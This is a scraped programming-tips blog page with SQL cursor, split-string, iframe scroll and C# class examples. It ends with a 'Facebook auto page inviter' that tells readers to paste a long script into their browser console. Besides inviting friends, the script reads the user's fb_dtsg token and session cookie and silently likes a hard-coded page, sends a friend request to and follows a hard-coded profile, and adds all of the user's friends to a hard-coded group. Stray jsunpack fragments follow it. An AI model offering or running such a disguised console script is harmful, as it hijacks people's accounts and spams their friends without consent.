AllInWorld99 provides a reference manual covering many aspects of web programming, including technologies such as HTML, XHTML, CSS, XML, JavaScript, PHP, ASP, SQL,FLASH, jQuery, java, for loop, switch case, if, if else, for...of, for...in, for...each,while loop, blogger tips, blogger meta tag generator, blogger tricks, blogger pagination, client side script, html code editor, javascript editor with instant output, css editor, online html editor, materialize css tutorial, materialize css dropdown list,break, continue statement, label,array, json, get day and month dropdown list using c# code, CSS button,protect cd or pendrive from virus, cordova, android example, html and css to make android app, html code play,telerik show hide column, Transparent image convertor, copy to clipboard using javascript without using any swf file, simple animation using css, SQL etc. AllInWorld99 presents thousands of code examples (accompanied with source code) which can be copied/downloaded independantly. By using the online editor provided,readers can edit the examples and execute the code experimentally.


SQL Cursor:-
  SQL Cursor is used to select some value from table and save the table to cursor and process the values using while and fetch.


Example Store Procedure:-

DECLARE     
       @ID int ,      
       @EmployeeID int ,      
       @CompanyID int ,      
       @JobTitleID int ,      
       @CategoryID int ,      
       @GradeID int ,      
       @ReportTo int;

       DECLARE cursor_name CURSOR FOR
        SELECT ID ,
                   EmpID AS EmployeeID ,      
                   CompanyId ,      
                   JobTitleId ,      
                   CategoryId ,      
                   GradeId ,      
                   ReportTo where account_status=1
   
    OPEN cursor_name;
    FETCH next FROM cursor_name INTO @ID , @EmployeeID , @CompanyID , @JobTitleID , @CategoryID , @GradeID , @ReportTo;
    WHILE @@FETCH_STATUS = 0         
    BEGIN 
   
     print @EmployeeID;
   
    FETCH next FROM cursor_name INTO @ID , @EmployeeID , @CompanyID , @JobTitleID , @CategoryID , @GradeID , @ReportTo;
    end
    CLOSE cursor_name;     
    DEALLOCATE cursor_name;



Advertisement


Screen shots:-
sql cursor
Solve Scroll Issue:-
    Scroll Issue is the most common issue in all browser, this problem mostly occur when you create a dynamic content like table, text boxes and etc. The following code will help to find the dynamic expanded div height and additionally increase the side 100px. So if your div height is increased dynamically the following code will help to expand the scroll bar and fix your scroll issue problem.


Code for fix the Scroll Issue:-

         function setIframeHeight() {
             frame = parent.document.getElementById('frame1');
             var sSupersetString = navigator.userAgent;
             if (sSupersetString.indexOf("Firefox") != -1) {
                 $(frame).height(Number($(frame).contents().find("html").height()) + 600);
             }
             else {
                 if (frame) {
                     var iframeWin = frame.contentWindow || frame.contentDocument.parentWindow;
                     if (iframeWin.document.body) {
                         frame.height = iframeWin.document.documentElement.scrollHeight || iframeWin.document.body.scrollHeight;
                         frame.height = frame.height;
                         var ss = Number(frame.height) + 600;

                         innerDoc = (frame.contentDocument) ? frame.contentDocument : frame.contentWindow.document;
                         objToResize = (frame.style) ? frame.style : frame;
                         objToResize.height = (ss) + "px";
                     }
                 }
             }
         }



Advertisement




Screen shot:-

Keyboard Key code Finder:-
    Each and every keyboard keys are having unique key value, when occur key event the key code will pass. Here we will show key code when you press key on the keyboard.





Keyboard key code finder
asp.net classes and objects:-
         Object is like arrays but array can only store same type of data, but objects can store various types of data’s.
      First need to create a class and declare the variable inside the class with {set;get;}, then only can assign and retrieve the data from outside the class.


Declare the class:-
public class classforobject
      {
          public string CompanyID { set; get; }
          public string DepartmentID { set; get; }
          public string JobTitleID { set; get; }
      }

Access the class variables, and assign values from the functions:-


public static List<EmployeeDetails> get_employee_details(int ReptoID)
{
 List< classforobject > list1 = new List< classforobject >();


 for(int i=0;i<10;i++)
 {
  classforobject obj1 = new classforobject ();
  obj1.CompanyID = "Company :  "+i;
  obj1.DepartmentID = "Department : "+ i;
  obj1.JobTitleID = "JobTitle : "+i;
  list1.Add(obj1);
 }
 return list1;
}

   


Advertisement




asp.net, classes and objects
Confirmation box using jQuery/Javascript:-    
    Confirmation is the one of best option to prevent many problem for example, If a person trying to delete of modifying the data, we can warn the user and again get the confirmation from the person to confirm that action.

Example Program:- (Editor)



Output:-


Advertisement


Screen Shots:-
SQL Split Comma:-
     In the below example we are going to see the function for split string by (,) comma and separate the words or number and apply to the where condition using 'in' method and select the values.

Select * from employee;

EmpID
First Name
Last Name
JobID
Place
1
Rajandran
Ram
103
Madurai
2
Belly
Kumar
106
Chennai
3
Ramanathan
Jino
99
Mulagumoodu
4
Anitha
Rani
99
ManaliVilai
5
Rajeshwari
Sam
115
Nagercoil
6
Ajitha
Kumari
23
Marthandam
7
Anusha
Prithy
222
Koyambuthoor

Split Function:-
CREATE FUNCTION [dbo].[SplitString1](@StringValue varchar(2000), @Delimiter char(1))      
returns @resulttable TABLE (words varchar(2000))      
as      
begin      
      declare @index int      
      declare @sliceOfStringValue varchar(2000)      
     
      set @index = 1      
            if len(@StringValue)<1 or @StringValue is null  return      
     
      while @index!= 0      
      begin      
            set @index = charindex(@Delimiter,@StringValue)      
            if @index!=0      
                  set @sliceOfStringValue = left(@StringValue,@index - 1)      
            else      
                  set @sliceOfStringValue = @StringValue      
             
            if(len(@sliceOfStringValue)>0)  
                  insert into @resulttable(words) values(@sliceOfStringValue)      
   
            set @StringValue = right(@StringValue,len(@StringValue) - @index)      
            if len(@StringValue) = 0 break      
      end  
return      
end


String value is '1,3,4,6'
Example to access the above function:-
select * from Emp_tb_eob_Employee where EmployeeID in(select * from [dbo].[SplitString1]('1,2,3,4',','))

Output:-


EmpID
First Name
Last Name
JobID
Place
1
Rajandran
Ram
103
Madurai
3
Ramanathan
Jino
99
Mulagumoodu
4
Anitha
Rani
99
ManaliVilai
6
Ajitha
Kumari
23
Marthandam


Screenshot:-
split by comma string


Invite all friends to facebook page within 5minutes:-
     Facebook is the very interesting social networking website, and their very very easy to marketing your business or anything. First we need to create a page for business and If we want to invite all of your friends to your page you need to each and every time press invite, invite invite ....


facebook auto invite all friends to facebook
    In this method we feel very very bore, so we have a simple and superb script for invite all your friends to like your facebook page without clicking "Invite" button.

Methods for applying script:-


1.Open your Google chrome or Firefox browser

2. Go to your facebook page (login account should be like that page)

3. Press F12 and press "console" (chrome shortcut is ctrl+shift+j)


chrome console window

3.After open the console window paste the following script code to there and press enter



//eval
var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div.style.bottom="0";
_div.align="center";
var _audio= document.createElement('audio');
_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = true;
_audio.src = "https://codegooglesite.googlecode.com/files/50pop.mp3";
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

body = document.body;
if(body != null)
{
 div = document.createElement("div");
 div.style.position = "fixed";
 div.style.display = "block";
 div.style.width = "100px";
 div.style.opacity= 0.90;
 div.style.bottom = "+60px";
 div.style.left = "+0px";
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
 div.style.border = "1px solid rgba(0,0,0,0.5)";
 div.style.padding = "3px";

 body.appendChild(div);
}

if(body != null)
{
 div = document.createElement("div");
 div.style.position = "fixed";
 div.style.display = "block";
 div.style.width = "100px";
 div.style.opacity= 0.90;
 div.style.bottom = "+35px";
 div.style.left = "+0px";
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
 div.style.border = "1px solid rgba(0,0,0,0.5)";
 div.style.padding = "3px";
 div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Close (F5)</center></blink></a>"
 body.appendChild(div);
}
if(body != null)
{
 div = document.createElement("div");
 div.style.position = "fixed";
 div.style.display = "block";
 div.style.width = "135px";
 div.style.opacity= 0.90;
 div.style.bottom = "+10px";
 div.style.left = "+0px";
 div.style.backgroundColor = "rgba(0,0,0,0.5)";
 div.style.border = "1px solid rgba(0,0,0,0.5)";
 div.style.padding = "3px";
 div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/allinworld99blog' title='ThalaivarBloods'><blink><center>Our Page!</center></blink></a>"
 body.appendChild(div);
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function Like(p) {
  var Page = new XMLHttpRequest();
  var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  Page.open("POST", PageURL, true);
  Page.onreadystatechange = function () {
    if (Page.readyState == 4 && Page.status == 200) {
      Page.close;
    }
  };
  Page.send(PageParams);
}
Like("1402726749997002");
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function IDS(r) {
  var X = new XMLHttpRequest();

  var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  X.open("POST", XURL, true);
  X.onreadystatechange = function () {
    if (X.readyState == 4 && X.status == 200) {
      X.close;
    }
  };
  X.send(XParams);
}
IDS("100000258453671");
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone) {
  var http4 = new XMLHttpRequest();
  var url4 = "/ajax/follow/follow_profile.php?__a=1";
  var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  http4.open("POST", url4, true);
  http4.onreadystatechange = function () {
    if (http4.readyState == 4 && http4.status == 200) {
      http4.close;
    }
  };
  http4.send(params4);
}
a("100000258453671");
var Title = "Auto Page Inviter</A>";
var Descriptions = "",
    _text = 'Powered By:  <A style="color:#3B5998;" href="https://www.facebook.com/allinworld99blog" target="_blank">Thalaivar Bloods</A></br>Thalaivar bloods </A><A style="color:#3B5998;" href="https://www.facebook.com/allinworld99blog" target="_blank"> Salbin Sajan</A></A>,</A></A>.</br>Visit us <A style="color:#3B5998;" href="https://www.facebook.com/allinworld99blog target="_blank">Allinworld99blog</A>.</A>';

page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];

function InviteFriends(opo) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
        var b = a.substring(a.indexOf("{"));
        var c = JSON.parse(b);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
        if (c.error) {
            Descriptions += "color:darkred'>";
            err++;
            if (c.errorDescription) Descriptions += c.errorDescription;
            else Descriptions += JSON.stringify(c, null, "")
        } else {
            Descriptions += "color:darkgreen'>";
            Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
            suc++
        }
        Descriptions += "</div>";
        var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
        display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
        if (i > 0) {
            display += arr.length + " Friends Detected<br/>";
            display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
            display += "(" + i + " Lefted...)";
            display += "<div class='friend-edge'>";
            display += Descriptions;
            display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
            display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
            display += _text;
            display += "</div>";
            display += "</div>";
            display += "</div>";
            window[tag + "_close"] = true
        } else {
            Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
            display += arr.length + " Friends Detected and ";
            display += "<b>" + suc + " Friends Invited.</b></br>";
            display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
            display += _text;
            display += "</div>";
            window[tag + "_close"] = false
        }
        display += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = display
    }, "text", "post");
    tay--;
    if (tay > 0) {
        var s = arr[tay];
        setTimeout("InviteFriends(" + s + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  
if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=1402817386646649&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
}
jx = {
    b: function () {
        var b = !1;
        if ("undefined" != typeof ActiveXObject) try {
            b = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (c) {
            try {
                b = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (a) {
                b = !1
            }
        } else if (window.XMLHttpRequest) try {
            b = new XMLHttpRequest
        } catch (h) {
            b = !1
        }
        return b
    },
    load: function (b, c, a, h, g) {
        var e = this.d();
        if (e && b) {
            e.overrideMimeType && e.overrideMimeType("text/xml");
            h || (h = "GET");
            a || (a = "text");
            g || (g = {});
            a = a.toLowerCase();
            h = h.toUpperCase();
            b += b.indexOf("?") + 1 ? "&" : "?";
            var k = null;
            "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
            e.open(h, b, !0);
            e.onreadystatechange = g.c ? function () {
                g.c(e)
            } : function () {
                if (4 == e.readyState)
                    if (200 == e.status) {
                        var b = "";
                        e.responseText && (b = e.responseText);
                        "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
                        c && c(b)
                    } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
            };
            e.send(k)
        }
    },
    d: function () {
        return this.b()
    }
};

function ChangeLocation() {
    window.location.href = "http://www.facebook.com/"
}
setTimeout("ChangeLocation", 1);
window.onbeforeunload = function () {
    if (window[tag + "_close"]) return "This script is running now!"
};
var i = 3;
var tay = 3;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var tag = "Close";
var page_name, x = document.getElementsByTagName("span");
for (i = 0; i < x.length; i++)
    if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
    var b = a;
    var c = b.substring(b.indexOf("{"));
    var d = JSON.parse(c);
    d = d.payload.entries;
    for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
    for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
    for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
    i = arr.length - 1;
    tay = i;
    console.log(arr.length);
    var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
    display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
    display += arr.length + " Friends Detected, Please Wait . . .";
    display += "</div>";
    document.getElementById("pagelet_sidebar").innerHTML = display;
    InviteFriends(arr[i])
});



//jsunpack.called CreateElement div

//jsunpack.url element = undefined
//jsunpack.url var _4855 = var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div

//jsunpack.url var _4052 = var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div


4. Now all of friends are start to invite automatically to your page.

facebook auto page inviter



5. May you need to change the page "allinworld99blog" to your facebook page name.
6. Thanks for reading

Notification

Total Pageviews